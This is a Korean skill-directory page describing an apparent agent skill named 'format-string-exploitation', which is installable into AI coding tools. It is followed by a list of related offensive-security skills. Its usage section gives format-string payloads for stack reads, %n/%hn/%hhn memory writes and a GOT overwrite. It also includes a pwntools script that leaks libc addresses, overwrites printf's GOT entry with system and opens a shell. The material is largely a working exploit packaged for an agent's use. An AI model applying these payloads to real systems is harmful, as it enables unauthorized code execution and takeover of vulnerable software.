Community코딩 & 개발github.com

yaklang/format-string-exploitation

포맷 문자열 취약점 공격 플레이북입니다. printf 계열 함수가 사용자 제어 가능한 포맷 문자열을 받아 임의의 스택 읽기(%p/%s), 임의의 메모리 쓰기(%n/%hn/%hhn), GOT/후크 덮어쓰기, 카나리/libc/PIE 누출이 가능할 때 사용합니다.

format-string-exploitation란 무엇인가요?

포맷 문자열 취약점 공격 전문 플레이북입니다. 이 스킬은 `printf`, `sprintf`, `fprintf` 등 printf 계열 함수가 사용자로부터 제어된 포맷 문자열을 받을 때 발생하는 취약점을 공격하기 위해 설계되었습니다. `%p`, `%s`를 사용한 스택 메모리 읽기를 통해 ASLR, PIE, 카나리, libc 주소 등 중요한 정보를 누출할 수 있으며, `%n`, `%hn`, `%hhn`을 사용한 임의의 메모리 쓰기를 통해 GOT 테이블이나 함수 후크를 덮어써 제어 흐름을 탈취할 수 있습니다. 이 스킬은 다양한 아키텍처(x86, x64)와 운영체제(Linux, Windows) 환경에서의 공격 기법을 다루며, 오프바이원(off-by-one) 취약점 또는 힙 오버플로우와 연계된 고급 공격 시나리오도 포함합니다. 실제 익스플로잇 코드 예제가 포함되어 있어 펜테스터와 취약점 연구자에게 실질적인 도움을 줍니다.

지원 대상~Claude Code~Codex CLI~Cursor
npx skills add https://github.com/yaklang/hack-skills/tree/main/skills/format-string-exploitation

Installed? Explore more 코딩 & 개발 skills: steipete/bluebubbles, steipete/eightctl, steipete/blucli · View all 6 →

즐겨 사용하는 AI에게 물어보기

이 에이전트 스킬이 미리 로드된 새 채팅을 엽니다.

문서

format-string-exploitation은(는) 무엇을 하나요?

포맷 문자열 취약점 공격 플레이북입니다. printf 계열 함수가 사용자 제어 가능한 포맷 문자열을 받아 임의의 스택 읽기(%p/%s), 임의의 메모리 쓰기(%n/%hn/%hhn), GOT/후크 덮어쓰기, 카나리/libc/PIE 누출이 가능할 때 사용합니다.

사용법

기본 읽기 (스택 값 덤프)

# printf("%x.%x.%x...") 공격
./vuln 'AAAA.%p.%p.%p.%p.%p.%p'

직접 매개변수 접근 ($)

# 6번째 매개변수부터 직접 읽기
./vuln 'AAAA.%6$p.%7$p.%8$p'

문자열 읽기 (%s)

# 특정 주소의 문자열 읽기 (주소를 스택에 배치 필요)
./vuln '\x20\x10\x40\x00%7$s'

메모리 쓰기 (%n)

# 4바이트 쓰기
./vuln '\x20\x10\x40\x00%100x%7$n'

# 2바이트 쓰기 (%hn)
./vuln '\x20\x10\x40\x00%100x%7$hn'

# 1바이트 쓰기 (%hhn)
./vuln '\x20\x10\x40\x00%100x%7$hhn'

GOT 덮어쓰기

# printf의 GOT 주소를 system 함수의 힌주소로 덮어씀
./vuln '\x24\x98\x04\x08\x26\x98\x04\x08%33732x%7$hn%43868x%8$hn'

지원 환경

아키텍처운영체제보호 기법
x86 (32비트)Linux, WindowsNX, ASLR, PIE, 스택 카나리
x64 (64비트)Linux, WindowsNX, ASLR, PIE, 스택 카나리

주요 기법

  • 스택 읽기: %p, %x, %s를 사용하여 스택과 힙 메모리 덤프
  • 주소 누출: $ 직접 매개변수 접근으로 ASLR, PIE, libc, 카나리 주소 획득
  • 임의 쓰기: %n, %hn, %hhn을 사용하여 임의의 메모리 위치에 값 쓰기
  • GOT 덮어쓰기: printf, puts, exit 등의 GOT 엔트리를 system 또는 원샷 가젯으로 덮어씀
  • 고급 공격: 오프바이원(off-by-one) 또는 힙 오버플로우와 결합한 다단계 공격

예제

32비트 ELF 바이너리 공격

#!/usr/bin/env python3
import sys
from pwn import *

# 바이너리 설정
binary = ELF('./vuln32')
libc = ELF('/lib/i386-linux-gnu/libc.so.6')

# 프로세스 연결
p = process(binary.path)

# 1단계: PIE와 libc 누출
p.sendline(b'%7$p.%9$p')
leaks = p.recvline().strip().split(b'.')
stack_leak = int(leaks[0], 16)
libc_leak = int(leaks[1], 16)

# 2단계: 주소 계산
libc_base = libc_leak - libc.symbols['__libc_start_main'] - 0xf7
system_addr = libc_base + libc.symbols['system']
binsh_addr = libc_base + next(libc.search(b'/bin/sh'))

# 3단계: printf GOT 덮어쓰기
printf_got = binary.got['printf']
print(f"[*] libc base: {hex(libc_base)}")
print(f"[*] system: {hex(system_addr)}")
print(f"[*] /bin/sh: {hex(binsh_addr)}")
print(f"[*] printf GOT: {hex(printf_got)}")

# 익스플로잇 페이로드 구성
payload = fmtstr_payload(7, {printf_got: system_addr})
p.sendline(payload)

# 쉘 획득
p.interactive()

참고 자료

라이선스

MIT

Individual skills in this repo

This repo contains 20 individual skills — each has its own dedicated page.

yaklang/401-403-bypass-techniques

401/403 bypass playbook. Use when encountering access-denied responses on admin panels, API endpoints, or restricted paths. Covers path manipulation, HTTP method tampering, header injection, protocol downgrade, and automated bypass tools.

yaklang/active-directory-acl-abuse

Active Directory ACL abuse playbook. Use when exploiting misconfigured AD permissions including GenericAll, WriteDACL, DCSync rights, shadow credentials, LAPS reading, GPO abuse, and BloodHound-guided attack paths.

yaklang/active-directory-certificate-services

AD Certificate Services attack playbook. Use when targeting misconfigured AD CS for privilege escalation via ESC1-ESC13 template abuse, NTLM relay to enrollment, CA officer abuse, and certificate-based persistence.

yaklang/active-directory-kerberos-attacks

Kerberos attack playbook for Active Directory. Use when targeting AD authentication via AS-REP roasting, Kerberoasting, golden/silver/diamond tickets, delegation abuse, or pass-the-ticket attacks.

yaklang/ai-ml-security

AI/ML security playbook. Use when assessing model supply chain attacks (pickle RCE, poisoned weights), adversarial examples, model poisoning, model stealing, data privacy attacks (membership inference, model inversion), and autonomous agent security risks.

yaklang/android-pentesting-tricks

Android pentesting playbook. Use when testing Android applications for SSL pinning bypass, exported component abuse, WebView vulnerabilities, intent redirection, root detection bypass, tapjacking, and backup extraction during authorized mobile security assessments.

yaklang/anti-debugging-techniques

Anti-debugging detection and bypass playbook. Use when reversing protected binaries that detect debuggers via ptrace, PEB flags, timing checks, or signal/exception handlers on Linux and Windows.

yaklang/api-auth-and-jwt-abuse

API authentication and JWT abuse playbook. Use when testing bearer tokens, API keys, claim trust, header spoofing, rate limits, and API auth boundary weaknesses.

yaklang/api-authorization-and-bola

API authorization and BOLA testing playbook. Use when APIs expose object identifiers, nested resources, hidden writable fields, or weak function-level authorization.

yaklang/api-recon-and-docs

API reconnaissance and documentation review playbook. Use when discovering endpoints, schemas, versions, OpenAPI specs, hidden docs, and surface area for API testing.

yaklang/api-sec

Entry P1 category router for API security. Use when choosing between API recon, authorization, token abuse, and hidden-parameter workflows before any deeper API topic skill.

yaklang/arbitrary-write-to-rce

Arbitrary write to RCE playbook. Use when you have an arbitrary write primitive (from heap exploitation, format string, or OOB write) and need to convert it into code execution by targeting GOT, hooks, _IO_FILE vtable, exit_funcs, TLS_dtor_list, modprobe_path, .fini_array, or C++ vtables.

yaklang/authbypass-authentication-flaws

Authentication bypass testing playbook. Use when assessing login flows, password reset logic, account recovery, MFA bypass, token predictability, brute-force resistance, and session boundary flaws.

yaklang/auth-sec

Entry P1 category router for authentication and authorization. Use when testing login flows, sessions, object authorization, JWT, OAuth, CORS, CSRF, and enterprise SSO weaknesses before any deeper auth topic skill.

yaklang/binary-protection-bypass

Binary protection bypass playbook. Use when identifying and bypassing ASLR, PIE, NX/DEP, stack canary, RELRO, FORTIFY_SOURCE, CET, and MTE protections in ELF binaries to enable exploitation.

yaklang/browser-exploitation-v8

Browser and V8 exploitation playbook. Use when exploiting JavaScript engine vulnerabilities including JIT type confusion, incorrect bounds elimination, and V8 sandbox bypass to achieve renderer RCE and sandbox escape in Chrome/Chromium.

yaklang/business-logic-vuln

Entry P1 category router for business logic testing. Use when workflow abuse, race conditions, pricing flaws, or multi-step state attacks matter more than parser-level input injection.

yaklang/business-logic-vulnerabilities

Business logic vulnerability playbook. Use when reasoning about workflows, race conditions, price manipulation, coupon abuse, state machines, and multi-step authorization gaps.

yaklang/classical-cipher-analysis

Classical cipher analysis playbook. Use when encountering substitution ciphers, Vigenere, transposition, XOR, or encoded text in CTF challenges that requires frequency analysis, Kasiski examination, or known-plaintext cryptanalysis.

yaklang/clickjacking

Clickjacking playbook. Use when testing whether target pages can be framed, whether X-Frame-Options or CSP frame-ancestors are properly configured, and whether UI redress attacks can trigger sensitive actions.

관련 스킬